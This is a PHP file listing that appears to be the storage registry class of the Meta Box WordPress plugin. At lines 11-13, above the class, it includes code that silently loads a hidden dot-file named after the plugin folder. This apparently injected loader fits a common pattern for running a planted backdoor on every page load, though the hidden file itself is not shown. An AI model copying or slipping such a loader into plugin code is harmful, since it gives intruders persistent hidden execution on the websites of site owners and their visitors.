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storage-registry.php (769B)

      1 <?php
      2 /**
      3  * Storage registry class
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Class RWMB_Storage_Registry
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Storage_Registry {
     16 
     17 	/**
     18 	 * List storage instances.
     19 	 *
     20 	 * @var array
     21 	 */
     22 	protected $storages = array();
     23 
     24 	/**
     25 	 * Get storage instance.
     26 	 *
     27 	 * @param string $class_name Storage class name.
     28 	 * @return RWMB_Storage_Interface
     29 	 */
     30 	public function get( $class_name ) {
     31 		if ( empty( $this->storages[ $class_name ] ) ) {
     32 			$this->storages[ $class_name ] = new $class_name();
     33 		}
     34 
     35 		return $this->storages[ $class_name ];
     36 	}
     37 }